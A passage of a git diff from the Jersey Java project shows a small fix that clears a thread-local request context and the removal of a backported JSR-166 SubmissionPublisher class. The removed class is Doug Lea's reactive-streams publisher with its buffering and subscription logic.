- * Copyright (c) 2010, 2019 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2010, 2024 Oracle and/or its affiliates. All rights reserved.
*
* This program and the accompanying materials are made available under the
* terms of the Eclipse Public License v. 2.0, which is available at
@@ -244,6 +244,7 @@
*/
protected void release(RequestContext context) {
context.release();
+ currentRequestContext.remove();
}
/**
diff --git a/core-common/src/main/java8/org/glassfish/jersey/internal/jsr166/SubmissionPublisher.java b/core-common/src/main/java8/org/glassfish/jersey/internal/jsr166/SubmissionPublisher.java
deleted file mode 100644
index 6eb4cb5..0000000
--- a/core-common/src/main/java8/org/glassfish/jersey/internal/jsr166/SubmissionPublisher.java
+++ /dev/null
@@ -1,1626 +0,0 @@
-/*
- * Written by Doug Lea with assistance from members of JCP JSR-166
- * Expert Group and released to the public domain, as explained at
- * http://creativecommons.org/publicdomain/zero/1.0/
- */
-
-package org.glassfish.jersey.internal.jsr166;
-
-import java.util.ArrayList;
-import java.util.List;
-import java.util.concurrent.CompletableFuture;
-import java.util.concurrent.Executor;
-import java.util.concurrent.Executors;
-import java.util.concurrent.ForkJoinPool;
-import java.util.concurrent.ForkJoinTask;
-import java.util.concurrent.RejectedExecutionException;
-import java.util.concurrent.TimeUnit;
-import java.util.concurrent.locks.LockSupport;
-import java.util.function.BiConsumer;
-import java.util.function.BiPredicate;
-import java.util.function.Consumer;
-
-/**
- * A {@link Flow.Publisher} that asynchronously issues submitted
- * (non-null) items to current subscribers until it is closed. Each
- * current subscriber receives newly submitted items in the same order
- * unless drops or exceptions are encountered. Using a
- * SubmissionPublisher allows item generators to act as compliant <a
- * href="http://www.reactive-streams.org/"> reactive-streams</a>
- * Publishers relying on drop handling and/or blocking for flow
- * control.
- * <p>
- * <p>A SubmissionPublisher uses the {@link Executor} supplied in its
- * constructor for delivery to subscribers. The best choice of
- * Executor depends on expected usage. If the generator(s) of
- * submitted items run in separate threads, and the number of
- * subscribers can be estimated, consider using a {@link
- * Executors#newFixedThreadPool}. Otherwise consider using the
- * default, normally the {@link ForkJoinPool#commonPool}.
- * <p>
- * <p>Buffering allows producers and consumers to transiently operate
- * at different rates. Each subscriber uses an independent buffer.
- * Buffers are created upon first use and expanded as needed up to the
- * given maximum. (The enforced capacity may be rounded up to the
- * nearest power of two and/or bounded by the largest value supported
- * by this implementation.) Invocations of {@link
- * Flow.Subscription#request(long) request} do not directly result in
- * buffer expansion, but risk saturation if unfilled requests exceed
- * the maximum capacity. The default value of {@link
- * Flow#defaultBufferSize()} may provide a useful starting point for
- * choosing a capacity based on expected rates, resources, and usages.
- * <p>
- * <p>Publication methods support different policies about what to do
- * when buffers are saturated. Method {@link #submit(Object) submit}
- * blocks until resources are available. This is simplest, but least
- * responsive. The {@code offer} methods may drop items (either
- * immediately or with bounded timeout), but provide an opportunity to
- * interpose a handler and then retry.
- * <p>
- * <p>If any Subscriber method throws an exception, its subscription
- * is cancelled. If a handler is supplied as a constructor argument,
- * it is invoked before cancellation upon an exception in method
- * {@link Flow.Subscriber#onNext onNext}, but exceptions in methods
- * {@link Flow.Subscriber#onSubscribe onSubscribe},
- * {@link Flow.Subscriber#onError(Throwable) onError} and
- * {@link Flow.Subscriber#onComplete() onComplete} are not recorded or
- * handled before cancellation. If the supplied Executor throws
- * {@link RejectedExecutionException} (or any other RuntimeException
- * or Error) when attempting to execute a task, or a drop handler
- * throws an exception when processing a dropped item, then the
- * exception is rethrown. In these cases, not all subscribers will
- * have been issued the published item. It is usually good practice to
- * {@link #closeExceptionally closeExceptionally} in these cases.
- * <p>
- * <p>Method {@link #consume(Consumer)} simplifies support for a
- * common case in which the only action of a subscriber is to request
- * and process all items using a supplied function.
- * <p>
- * <p>This class may also serve as a convenient base for subclasses
- * that generate items, and use the methods in this class to publish
- * them. For example here is a class that periodically publishes the
- * items generated from a supplier. (In practice you might add methods
- * to independently start and stop generation, to share Executors
- * among publishers, and so on, or use a SubmissionPublisher as a
- * component rather than a superclass.)
- * <p>
- * <pre> {@code
- * class PeriodicPublisher<T> extends SubmissionPublisher<T> {
- * final ScheduledFuture<?> periodicTask;
- * final ScheduledExecutorService scheduler;
- * PeriodicPublisher(Executor executor, int maxBufferCapacity,
- * Supplier<? extends T> supplier,
- * long period, TimeUnit unit) {
- * super(executor, maxBufferCapacity);
- * scheduler = new ScheduledThreadPoolExecutor(1);
- * periodicTask = scheduler.scheduleAtFixedRate(
- * () -> submit(supplier.get()), 0, period, unit);
- * }
- * public void close() {
- * periodicTask.cancel(false);
- * scheduler.shutdown();
- * super.close();
- * }
- * }}</pre>
- * <p>
- * <p>Here is an example of a {@link Flow.Processor} implementation.
- * It uses single-step requests to its publisher for simplicity of
- * illustration. A more adaptive version could monitor flow using the
- * lag estimate returned from {@code submit}, along with other utility
- * methods.
- * <p>
- * <pre> {@code
- * class TransformProcessor<S,T> extends SubmissionPublisher<T>
- * implements Flow.Processor<S,T> {
- * final Function<? super S, ? extends T> function;
- * Flow.Subscription subscription;
- * TransformProcessor(Executor executor, int maxBufferCapacity,
- * Function<? super S, ? extends T> function) {
- * super(executor, maxBufferCapacity);
- * this.function = function;
- * }
- * public void onSubscribe(Flow.Subscription subscription) {
- * (this.subscription = subscription).request(1);
- * }
- * public void onNext(S item) {
- * subscription.request(1);
- * submit(function.apply(item));
- * }
- * public void onError(Throwable ex) { closeExceptionally(ex); }
- * public void onComplete() { close(); }
- * }}</pre>
- *
- * @param <T> the published item type
- * @author Doug Lea
- * @since 9
- */
-public class SubmissionPublisher<T> implements Flow.Publisher<T>, SubmittableFlowPublisher<T>,
- AutoCloseable {
- /*
- * Most mechanics are handled by BufferedSubscription. This class
- * mainly tracks subscribers and ensures sequentiality, by using
- * built-in synchronization locks across public methods. (Using
- * built-in locks works well in the most typical case in which
- * only one thread submits items).
- */
-
- /**
- * The largest possible power of two array size.
- */
- static final int BUFFER_CAPACITY_LIMIT = 1 << 30;
-
- /**
- * Round capacity to power of 2, at most limit.
- */
- static final int roundCapacity(int cap) {
- int n = cap - 1;
- n |= n >>> 1;
- n |= n >>> 2;
- n |= n >>> 4;
- n |= n >>> 8;
- n |= n >>> 16;
- return (n <= 0) ? 1 : // at least 1
- (n >= BUFFER_CAPACITY_LIMIT) ? BUFFER_CAPACITY_LIMIT : n + 1;
- }
-
- // default Executor setup; nearly the same as CompletableFuture
-
- /**
- * Default executor -- ForkJoinPool.commonPool() unless it cannot
- * support parallelism.
- */
- private static final Executor ASYNC_POOL =
- (ForkJoinPool.getCommonPoolParallelism() > 1) ? ForkJoinPool.commonPool() : new ThreadPerTaskExecutor();
-
- /**
- * Fallback if ForkJoinPool.commonPool() cannot support parallelism
- */
- private static final class ThreadPerTaskExecutor implements Executor {
- public void execute(Runnable r) {
- new Thread(r).start();
- }
- }
-
- /**
- * Clients (BufferedSubscriptions) are maintained in a linked list
- * (via their "next" fields). This works well for publish loops.
- * It requires O(n) traversal to check for duplicate subscribers,
- * but we expect that subscribing is much less common than
- * publishing. Unsubscribing occurs only during traversal loops,
- * when BufferedSubscription methods return negative values
- * signifying that they have been disabled. To reduce
- * head-of-line blocking, submit and offer methods first call
- * BufferedSubscription.offer on each subscriber, and place
- * saturated ones in retries list (using nextRetry field), and
- * retry, possibly blocking or dropping.
- */
- BufferedSubscription<T> clients;
-
- /**
- * Run status, updated only within locks
- */
- volatile boolean closed;
- /**
- * If non-null, the exception in closeExceptionally
- */
- volatile Throwable closedException;
-
- // Parameters for constructing BufferedSubscriptions
- final Executor executor;
- final BiConsumer<? super Flow.Subscriber<? super T>, ? super Throwable> onNextHandler;
- final int maxBufferCapacity;
-
- /**
- * Creates a new SubmissionPublisher using the given Executor for
- * async delivery to subscribers, with the given maximum buffer size
- * for each subscriber, and, if non-null, the given handler invoked
- * when any Subscriber throws an exception in method {@link
- * Flow.Subscriber#onNext(Object) onNext}.
- *
- * @param executor the executor to use for async delivery,
- * supporting creation of at least one independent thread
- * @param maxBufferCapacity the maximum capacity for each
- * subscriber's buffer (the enforced capacity may be rounded up to
- * the nearest power of two and/or bounded by the largest value
- * supported by this implementation; method {@link #getMaxBufferCapacity}
- * returns the actual value)
- * @param handler if non-null, procedure to invoke upon exception
- * thrown in method {@code onNext}
- * @throws NullPointerException if executor is null
- * @throws IllegalArgumentException if maxBufferCapacity not
- * positive
- */
- public SubmissionPublisher(Executor executor, int maxBufferCapacity,
- BiConsumer<? super Flow.Subscriber<? super T>, ? super Throwable> handler) {
- if (executor == null) {
- throw new NullPointerException();
- }
- if (maxBufferCapacity <= 0) {
- throw new IllegalArgumentException("capacity must be positive");
- }
- this.executor = executor;
- this.onNextHandler = handler;
- this.maxBufferCapacity = roundCapacity(maxBufferCapacity);
- }
-
- /**
- * Creates a new SubmissionPublisher using the given Executor for
- * async delivery to subscribers, with the given maximum buffer size
- * for each subscriber, and no handler for Subscriber exceptions in
- * method {@link Flow.Subscriber#onNext(Object) onNext}.
- *
- * @param executor the executor to use for async delivery,
- * supporting creation of at least one independent thread
- * @param maxBufferCapacity the maximum capacity for each
- * subscriber's buffer (the enforced capacity may be rounded up to
- * the nearest power of two and/or bounded by the largest value
- * supported by this implementation; method {@link #getMaxBufferCapacity}
- * returns the actual value)
- * @throws NullPointerException if executor is null
- * @throws IllegalArgumentException if maxBufferCapacity not
- * positive
- */
- public SubmissionPublisher(Executor executor, int maxBufferCapacity) {
- this(executor, maxBufferCapacity, null);
- }
-
- /**
- * Creates a new SubmissionPublisher using the {@link
- * ForkJoinPool#commonPool()} for async delivery to subscribers
- * (unless it does not support a parallelism level of at least two,
- * in which case, a new Thread is created to run each task), with
- * maximum buffer capacity of {@link Flow#defaultBufferSize}, and no
- * handler for Subscriber exceptions in method {@link
- * Flow.Subscriber#onNext(Object) onNext}.
- */
- public SubmissionPublisher() {
- this(ASYNC_POOL, Flow.defaultBufferSize(), null);
- }
-
- /**
- * Adds the given Subscriber unless already subscribed. If already
- * subscribed, the Subscriber's {@link
- * Flow.Subscriber#onError(Throwable) onError} method is invoked on
- * the existing subscription with an {@link IllegalStateException}.
- * Otherwise, upon success, the Subscriber's {@link
- * Flow.Subscriber#onSubscribe onSubscribe} method is invoked
- * asynchronously with a new {@link Flow.Subscription}. If {@link
- * Flow.Subscriber#onSubscribe onSubscribe} throws an exception, the
- * subscription is cancelled. Otherwise, if this SubmissionPublisher
- * was closed exceptionally, then the subscriber's {@link
- * Flow.Subscriber#onError onError} method is invoked with the
- * corresponding exception, or if closed without exception, the
- * subscriber's {@link Flow.Subscriber#onComplete() onComplete}
- * method is invoked. Subscribers may enable receiving items by
- * invoking the {@link Flow.Subscription#request(long) request}
- * method of the new Subscription, and may unsubscribe by invoking
- * its {@link Flow.Subscription#cancel() cancel} method.
- *
- * @param subscriber the subscriber
- * @throws NullPointerException if subscriber is null
- */
- public void subscribe(Flow.Subscriber<? super T> subscriber) {
- if (subscriber == null) {
- throw new NullPointerException();
- }
- BufferedSubscription<T> subscription =
- new BufferedSubscription<T>(subscriber, executor,
- onNextHandler, maxBufferCapacity);
- synchronized (this) {
- for (BufferedSubscription<T> b = clients, pred = null;;) {
- if (b == null) {
- Throwable ex;
- subscription.onSubscribe();
- if ((ex = closedException) != null) {
- subscription.onError(ex);
- } else if (closed) {
- subscription.onComplete();
- } else if (pred == null) {
- clients = subscription;
- } else {
- pred.next = subscription;
- }
- break;
- }
- BufferedSubscription<T> next = b.next;
- if (b.isDisabled()) { // remove
- b.next = null; // detach
- if (pred == null) {
- clients = next;
- } else {
- pred.next = next;
- }
- } else if (subscriber.equals(b.subscriber)) {
- b.onError(new IllegalStateException("Duplicate subscribe"));
- break;
- } else {
- pred = b;
- }
- b = next;
- }
- }
- }
-
- /**
- * Publishes the given item to each current subscriber by
- * asynchronously invoking its {@link Flow.Subscriber#onNext(Object)
- * onNext} method, blocking uninterruptibly while resources for any
- * subscriber are unavailable. This method returns an estimate of
- * the maximum lag (number of items submitted but not yet consumed)
- * among all current subscribers. This value is at least one
- * (accounting for this submitted item) if there are any
- * subscribers, else zero.
- * <p>
- * <p>If the Executor for this publisher throws a
- * RejectedExecutionException (or any other RuntimeException or
- * Error) when attempting to asynchronously notify subscribers,
- * then this exception is rethrown, in which case not all
- * subscribers will have been issued this item.
- *
- * @param item the (non-null) item to publish
- * @return the estimated maximum lag among subscribers
- * @throws IllegalStateException if closed
- * @throws NullPointerException if item is null
- * @throws RejectedExecutionException if thrown by Executor
- */
- public int submit(T item) {
- if (item == null) {
- throw new NullPointerException();
- }
- int lag = 0;
- boolean complete;
- synchronized (this) {
- complete = closed;
- BufferedSubscription<T> b = clients;
- if (!complete) {
- BufferedSubscription<T> pred = null, r = null, rtail = null;
- while (b != null) {
- BufferedSubscription<T> next = b.next;
- int stat = b.offer(item);
- if (stat < 0) { // disabled
- b.next = null;
- if (pred == null) {
- clients = next;
- } else {
- pred.next = next;
- }
- } else {
- if (stat > lag) {
- lag = stat;
- } else if (stat == 0) { // place on retry list
- b.nextRetry = null;
- if (rtail == null) {
- r = b;
- } else {
- rtail.nextRetry = b;
- }
- rtail = b;
- }
- pred = b;
- }
- b = next;
- }
- while (r != null) {
- BufferedSubscription<T> nextRetry = r.nextRetry;
- r.nextRetry = null;
- int stat = r.submit(item);
- if (stat > lag) {
- lag = stat;
- } else if (stat < 0 && clients == r) {
- clients = r.next; // postpone internal unsubscribes
- }
- r = nextRetry;
- }
- }
- }
- if (complete) {
- throw new IllegalStateException("Closed");
- } else {
- return lag;
- }
- }
-
- /**
- * Publishes the given item, if possible, to each current subscriber
- * by asynchronously invoking its {@link
- * Flow.Subscriber#onNext(Object) onNext} method. The item may be
- * dropped by one or more subscribers if resource limits are
- * exceeded, in which case the given handler (if non-null) is
- * invoked, and if it returns true, retried once. Other calls to
- * methods in this class by other threads are blocked while the
- * handler is invoked. Unless recovery is assured, options are
- * usually limited to logging the error and/or issuing an {@link
- * Flow.Subscriber#onError(Throwable) onError} signal to the
- * subscriber.
- * <p>
- * <p>This method returns a status indicator: If negative, it
- * represents the (negative) number of drops (failed attempts to
- * issue the item to a subscriber). Otherwise it is an estimate of
- * the maximum lag (number of items submitted but not yet
- * consumed) among all current subscribers. This value is at least
- * one (accounting for this submitted item) if there are any
- * subscribers, else zero.
- * <p>
- * <p>If the Executor for this publisher throws a
- * RejectedExecutionException (or any other RuntimeException or
- * Error) when attempting to asynchronously notify subscribers, or
- * the drop handler throws an exception when processing a dropped
- * item, then this exception is rethrown.
- *
- * @param item the (non-null) item to publish
- * @param onDrop if non-null, the handler invoked upon a drop to a
- * subscriber, with arguments of the subscriber and item; if it
- * returns true, an offer is re-attempted (once)
- * @return if negative, the (negative) number of drops; otherwise
- * an estimate of maximum lag
- * @throws IllegalStateException if closed
- * @throws NullPointerException if item is null
- * @throws RejectedExecutionException if thrown by Executor
- */
- public int offer(T item,
- BiPredicate<Flow.Subscriber<? super T>, ? super T> onDrop) {
- return doOffer(0L, item, onDrop);
- }
-
- /**
- * Publishes the given item, if possible, to each current subscriber
- * by asynchronously invoking its {@link
- * Flow.Subscriber#onNext(Object) onNext} method, blocking while
- * resources for any subscription are unavailable, up to the
- * specified timeout or until the caller thread is interrupted, at
- * which point the given handler (if non-null) is invoked, and if it
- * returns true, retried once. (The drop handler may distinguish
- * timeouts from interrupts by checking whether the current thread
- * is interrupted.) Other calls to methods in this class by other
- * threads are blocked while the handler is invoked. Unless
- * recovery is assured, options are usually limited to logging the
- * error and/or issuing an {@link Flow.Subscriber#onError(Throwable)
- * onError} signal to the subscriber.
- * <p>
- * <p>This method returns a status indicator: If negative, it
- * represents the (negative) number of drops (failed attempts to
- * issue the item to a subscriber). Otherwise it is an estimate of
- * the maximum lag (number of items submitted but not yet
- * consumed) among all current subscribers. This value is at least
- * one (accounting for this submitted item) if there are any
- * subscribers, else zero.
- * <p>
- * <p>If the Executor for this publisher throws a
- * RejectedExecutionException (or any other RuntimeException or
- * Error) when attempting to asynchronously notify subscribers, or
- * the drop handler throws an exception when processing a dropped
- * item, then this exception is rethrown.
- *
- * @param item the (non-null) item to publish
- * @param timeout how long to wait for resources for any subscriber
- * before giving up, in units of {@code unit}
- * @param unit a {@code TimeUnit} determining how to interpret the
- * {@code timeout} parameter
- * @param onDrop if non-null, the handler invoked upon a drop to a
- * subscriber, with arguments of the subscriber and item; if it
- * returns true, an offer is re-attempted (once)
- * @return if negative, the (negative) number of drops; otherwise
- * an estimate of maximum lag
- * @throws IllegalStateException if closed
- * @throws NullPointerException if item is null
- * @throws RejectedExecutionException if thrown by Executor
- */
- public int offer(T item, long timeout, TimeUnit unit,
- BiPredicate<Flow.Subscriber<? super T>, ? super T> onDrop) {
- return doOffer(unit.toNanos(timeout), item, onDrop);
- }
-
- /**
- * Common implementation for both forms of offer
- */
- final int doOffer(long nanos, T item,
- BiPredicate<Flow.Subscriber<? super T>, ? super T> onDrop) {
- if (item == null) {
- throw new NullPointerException();
- }
- int lag = 0, drops = 0;
- boolean complete;
- synchronized (this) {
- complete = closed;
- BufferedSubscription<T> b = clients;
- if (!complete) {
- BufferedSubscription<T> pred = null, r = null, rtail = null;
- while (b != null) {
- BufferedSubscription<T> next = b.next;
- int stat = b.offer(item);
- if (stat < 0) {
- b.next = null;
- if (pred == null) {
- clients = next;
- } else {
- pred.next = next;
- }
- } else {
- if (stat > lag) {
- lag = stat;
- } else if (stat == 0) {
- b.nextRetry = null;
- if (rtail == null) {
- r = b;
- } else {
- rtail.nextRetry = b;
- }
- rtail = b;
- } else if (stat > lag) {
- lag = stat;
- }
- pred = b;
- }
- b = next;
- }
- while (r != null) {
- BufferedSubscription<T> nextRetry = r.nextRetry;
- r.nextRetry = null;
- int stat = (nanos > 0L)
- ? r.timedOffer(item, nanos)
- : r.offer(item);
- if (stat == 0 && onDrop != null && onDrop.test(r.subscriber, item)) {
- stat = r.offer(item);
- }
- if (stat == 0) {
- ++drops;
- } else if (stat > lag) {
- lag = stat;
- } else if (stat < 0 && clients == r) {
- clients = r.next;
- }
- r = nextRetry;
- }
- }
- }
- if (complete) {
- throw new IllegalStateException("Closed");
- } else {
- return (drops > 0) ? -drops : lag;
- }
- }
-
- /**
- * Unless already closed, issues {@link
- * Flow.Subscriber#onComplete() onComplete} signals to current
- * subscribers, and disallows subsequent attempts to publish.
- * Upon return, this method does <em>NOT</em> guarantee that all
- * subscribers have yet completed.
- */
- public void close() {
- if (!closed) {
- BufferedSubscription<T> b;
- synchronized (this) {
- b = clients;
- clients = null;
- closed = true;
- }
- while (b != null) {
- BufferedSubscription<T> next = b.next;
- b.next = null;
- b.onComplete();
- b = next;
- }
- }
- }
-
- /**
- * Unless already closed, issues {@link
- * Flow.Subscriber#onError(Throwable) onError} signals to current
- * subscribers with the given error, and disallows subsequent
- * attempts to publish. Future subscribers also receive the given
- * error. Upon return, this method does <em>NOT</em> guarantee
- * that all subscribers have yet completed.
- *
- * @param error the {@code onError} argument sent to subscribers
- * @throws NullPointerException if error is null
- */
- public void closeExceptionally(Throwable error) {
- if (error == null) {
- throw new NullPointerException();
- }
- if (!closed) {
- BufferedSubscription<T> b;
- synchronized (this) {
- b = clients;
- clients = null;
- closed = true;
- closedException = error;
- }
- while (b != null) {
- BufferedSubscription<T> next = b.next;
- b.next = null;
- b.onError(error);
- b = next;
- }
- }
- }
-
- /**
- * Returns true if this publisher is not accepting submissions.
- *
- * @return true if closed
- */
- public boolean isClosed() {
- return closed;
- }
-
- /**
- * Returns the exception associated with {@link
- * #closeExceptionally(Throwable) closeExceptionally}, or null if
- * not closed or if closed normally.
- *
- * @return the exception, or null if none
- */
- public Throwable getClosedException() {
- return closedException;
- }
-
- /**
- * Returns true if this publisher has any subscribers.
- *
- * @return true if this publisher has any subscribers
- */
- public boolean hasSubscribers() {
- boolean nonEmpty = false;
- if (!closed) {
- synchronized (this) {
- for (BufferedSubscription<T> b = clients; b != null; ) {
- BufferedSubscription<T> next = b.next;
- if (b.isDisabled()) {
- b.next = null;
- b = clients = next;
- } else {
- nonEmpty = true;
- break;
- }
- }
- }
- }
- return nonEmpty;
- }
-
- /**
- * Returns the number of current subscribers.
- *
- * @return the number of current subscribers
- */
- public int getNumberOfSubscribers() {
- int count = 0;
- if (!closed) {
- synchronized (this) {
- BufferedSubscription<T> pred = null, next;
- for (BufferedSubscription<T> b = clients; b != null; b = next) {
- next = b.next;
- if (b.isDisabled()) {
- b.next = null;
- if (pred == null) {
- clients = next;
- } else {
- pred.next = next;
- }
- } else {
- pred = b;
- ++count;
- }
- }
- }
- }
- return count;
- }
-
- /**
- * Returns the Executor used for asynchronous delivery.
- *
- * @return the Executor used for asynchronous delivery
- */
- public Executor getExecutor() {
- return executor;
- }
-
- /**
- * Returns the maximum per-subscriber buffer capacity.
- *
- * @return the maximum per-subscriber buffer capacity
- */
- public int getMaxBufferCapacity() {
- return maxBufferCapacity;
- }
-
- /**
- * Returns a list of current subscribers for monitoring and
- * tracking purposes, not for invoking {@link Flow.Subscriber}
- * methods on the subscribers.
- *
- * @return list of current subscribers
- */
- public List<Flow.Subscriber<? super T>> getSubscribers() {
- ArrayList<Flow.Subscriber<? super T>> subs = new ArrayList<>();
- synchronized (this) {
- BufferedSubscription<T> pred = null, next;
- for (BufferedSubscription<T> b = clients; b != null; b = next) {
- next = b.next;
- if (b.isDisabled()) {
- b.next = null;
- if (pred == null) {
- clients = next;
- } else {
- pred.next = next;
- }
- } else {
- subs.add(b.subscriber);
- }
- }
- }
- return subs;
- }
-
- /**
- * Returns true if the given Subscriber is currently subscribed.
- *
- * @param subscriber the subscriber
- * @return true if currently subscribed
- * @throws NullPointerException if subscriber is null
- */
- public boolean isSubscribed(Flow.Subscriber<? super T> subscriber) {
- if (subscriber == null) {
- throw new NullPointerException();
- }
- if (!closed) {
- synchronized (this) {
- BufferedSubscription<T> pred = null, next;
- for (BufferedSubscription<T> b = clients; b != null; b = next) {
- next = b.next;
- if (b.isDisabled()) {
- b.next = null;
- if (pred == null) {
- clients = next;
- } else {
- pred.next = next;
- }
- } else if (subscriber.equals(b.subscriber)) {
- return true;
- } else {
- pred = b;
- }
- }
- }
- }
- return false;
- }
-
- /**
- * Returns an estimate of the minimum number of items requested
- * (via {@link Flow.Subscription#request(long) request}) but not
- * yet produced, among all current subscribers.
- *
- * @return the estimate, or zero if no subscribers
- */
- public long estimateMinimumDemand() {
- long min = Long.MAX_VALUE;
- boolean nonEmpty = false;
- synchronized (this) {
- BufferedSubscription<T> pred = null, next;
- for (BufferedSubscription<T> b = clients; b != null; b = next) {
- int n;
- long d;
- next = b.next;
- if ((n = b.estimateLag()) < 0) {
- b.next = null;
- if (pred == null) {
- clients = next;
- } else {
- pred.next = next;
- }
- } else {
- if ((d = b.demand - n) < min) {
- min = d;
- }
- nonEmpty = true;
- pred = b;
- }
- }
- }
- return nonEmpty ? min : 0;
- }
-
- /**
- * Returns an estimate of the maximum number of items produced but
- * not yet consumed among all current subscribers.
- *
- * @return the estimate
- */
- public int estimateMaximumLag() {
- int max = 0;
- synchronized (this) {
- BufferedSubscription<T> pred = null, next;
- for (BufferedSubscription<T> b = clients; b != null; b = next) {
- int n;
- next = b.next;
- if ((n = b.estimateLag()) < 0) {
- b.next = null;
- if (pred == null) {
- clients = next;
- } else {
- pred.next = next;
- }
- } else {
- if (n > max) {
- max = n;
- }
- pred = b;
- }
- }
- }
- return max;
- }
-
- /**
- * Processes all published items using the given Consumer function.
- * Returns a CompletableFuture that is completed normally when this
- * publisher signals {@link Flow.Subscriber#onComplete()
- * onComplete}, or completed exceptionally upon any error, or an
- * exception is thrown by the Consumer, or the returned
- * CompletableFuture is cancelled, in which case no further items
- * are processed.
- *
- * @param consumer the function applied to each onNext item
- * @return a CompletableFuture that is completed normally
- * when the publisher signals onComplete, and exceptionally
- * upon any error or cancellation
- * @throws NullPointerException if consumer is null
- */
- public CompletableFuture<Void> consume(Consumer<? super T> consumer) {
- if (consumer == null) {
- throw new NullPointerException();
- }
- CompletableFuture<Void> status = new CompletableFuture<>();
- subscribe(new ConsumerSubscriber<T>(status, consumer));
- return status;
- }
-
- /**
- * Subscriber for method consume
- */
- private static final class ConsumerSubscriber<T>
- implements Flow.Subscriber<T> {
- final CompletableFuture<Void> status;
- final Consumer<? super T> consumer;
- Flow.Subscription subscription;
-
- ConsumerSubscriber(CompletableFuture<Void> status,
- Consumer<? super T> consumer) {
- this.status = status;
- this.consumer = consumer;
- }
-
- public final void onSubscribe(Flow.Subscription subscription) {
- this.subscription = subscription;
- status.whenComplete((v, e) -> subscription.cancel());
- if (!status.isDone()) {
- subscription.request(Long.MAX_VALUE);
- }
- }
-
- public final void onError(Throwable ex) {
- status.completeExceptionally(ex);
- }
-
- public final void onComplete() {
- status.complete(null);
- }
-
- public final void onNext(T item) {
- try {
- consumer.accept(item);
- } catch (Throwable ex) {
- subscription.cancel();
- status.completeExceptionally(ex);
- }
- }
- }
-
- /**
- * A task for consuming buffer items and signals, created and
- * executed whenever they become available. A task consumes as
- * many items/signals as possible before terminating, at which
- * point another task is created when needed. The dual Runnable
- * and ForkJoinTask declaration saves overhead when executed by
- * ForkJoinPools, without impacting other kinds of Executors.
- */
- @SuppressWarnings("serial")
- static final class ConsumerTask<T> extends ForkJoinTask<Void>
- implements Runnable, CompletableFuture.AsynchronousCompletionTask {
- final BufferedSubscription<T> consumer;
-
- ConsumerTask(BufferedSubscription<T> consumer) {
- this.consumer = consumer;
- }
-
- public final Void getRawResult() {
- return null;
- }
-
- public final void setRawResult(Void v) {
- }
-
- public final boolean exec() {
- consumer.consume();
- return false;
- }
-
- public final void run() {
- consumer.consume();
- }
- }
-
- /**
- * A bounded (ring) buffer with integrated control to start a
- * consumer task whenever items are available. The buffer
- * algorithm is similar to one used inside ForkJoinPool (see its
- * internal documentation for details) specialized for the case of
- * at most one concurrent producer and consumer, and power of two
- * buffer sizes. This allows methods to operate without locks even
- * while supporting resizing, blocking, task-triggering, and
- * garbage-free buffers (nulling out elements when consumed),
- * although supporting these does impose a bit of overhead
- * compared to plain fixed-size ring buffers.
- * <p>
- * The publisher guarantees a single producer via its lock. We
- * ensure in this class that there is at most one consumer. The
- * request and cancel methods must be fully thread-safe but are
- * coded to exploit the most common case in which they are only
- * called by consumers (usually within onNext).
- * <p>
- * Execution control is managed using the ACTIVE ctl bit. We
- * ensure that a task is active when consumable items (and
- * usually, SUBSCRIBE, ERROR or COMPLETE signals) are present and
- * there is demand (unfilled requests). This is complicated on
- * the creation side by the possibility of exceptions when trying
- * to execute tasks. These eventually force DISABLED state, but
- * sometimes not directly. On the task side, termination (clearing
- * ACTIVE) that would otherwise race with producers or request()
- * calls uses the CONSUME keep-alive bit to force a recheck.
- * <p>
- * The ctl field also manages run state. When DISABLED, no further
- * updates are possible. Disabling may be preceded by setting
- * ERROR or COMPLETE (or both -- ERROR has precedence), in which
- * case the associated Subscriber methods are invoked, possibly
- * synchronously if there is no active consumer task (including
- * cases where execute() failed). The cancel() method is supported
- * by treating as ERROR but suppressing onError signal.
- * <p>
- * Support for blocking also exploits the fact that there is only
- * one possible waiter. ManagedBlocker-compatible control fields
- * are placed in this class itself rather than in wait-nodes.
- * Blocking control relies on the "waiter" field. Producers set
- * the field before trying to block, but must then recheck (via
- * offer) before parking. Signalling then just unparks and clears
- * waiter field. If the producer and/or consumer are using a
- * ForkJoinPool, the producer attempts to help run consumer tasks
- * via ForkJoinPool.helpAsyncBlocker before blocking.
- * <p>
- * This class uses @Contended and heuristic field declaration
- * ordering to reduce false-sharing-based memory contention among
- * instances of BufferedSubscription, but it does not currently
- * attempt to avoid memory contention among buffers. This field
- * and element packing can hurt performance especially when each
- * publisher has only one client operating at a high rate.
- * Addressing this may require allocating substantially more space
- * than users expect.
- */
- @SuppressWarnings("serial")
- @sun.misc.Contended
- private static final class BufferedSubscription<T>
- implements Flow.Subscription, ForkJoinPool.ManagedBlocker {
- // Order-sensitive field declarations
- long timeout; // > 0 if timed wait
- volatile long demand; // # unfilled requests
- int maxCapacity; // reduced on OOME
- int putStat; // offer result for ManagedBlocker
- volatile int ctl; // atomic run state flags
- volatile int head; // next position to take
- int tail; // next position to put
- Object[] array; // buffer: null if disabled
- Flow.Subscriber<? super T> subscriber; // null if disabled
- Executor executor; // null if disabled
- BiConsumer<? super Flow.Subscriber<? super T>, ? super Throwable> onNextHandler;
- volatile Throwable pendingError; // holds until onError issued
- volatile Thread waiter; // blocked producer thread
- T putItem; // for offer within ManagedBlocker
- BufferedSubscription<T> next; // used only by publisher
- BufferedSubscription<T> nextRetry; // used only by publisher
-
- // ctl values
- static final int ACTIVE = 0x01; // consumer task active
- static final int CONSUME = 0x02; // keep-alive for consumer task
- static final int DISABLED = 0x04; // final state
- static final int ERROR = 0x08; // signal onError then disable
- static final int SUBSCRIBE = 0x10; // signal onSubscribe
- static final int COMPLETE = 0x20; // signal onComplete when done
-
- static final long INTERRUPTED = -1L; // timeout vs interrupt sentinel
-
- /**
- * Initial buffer capacity used when maxBufferCapacity is
- * greater. Must be a power of two.
- */
- static final int DEFAULT_INITIAL_CAP = 32;
-
- BufferedSubscription(Flow.Subscriber<? super T> subscriber,
- Executor executor,
- BiConsumer<? super Flow.Subscriber<? super T>,
- ? super Throwable> onNextHandler,
- int maxBufferCapacity) {
- this.subscriber = subscriber;
- this.executor = executor;
- this.onNextHandler = onNextHandler;
- this.maxCapacity = maxBufferCapacity;
- this.array = new Object[maxBufferCapacity < DEFAULT_INITIAL_CAP
- ? (maxBufferCapacity < 2 // at least 2 slots
- ? 2 : maxBufferCapacity)
- : DEFAULT_INITIAL_CAP];
- }
-
- @Override
- public String toString() {
- if (subscriber != null) {
- return subscriber.toString();
- } else {
- return super.toString();
- }
- }
-
- final boolean isDisabled() {
- return ctl == DISABLED;
- }
-
- /**
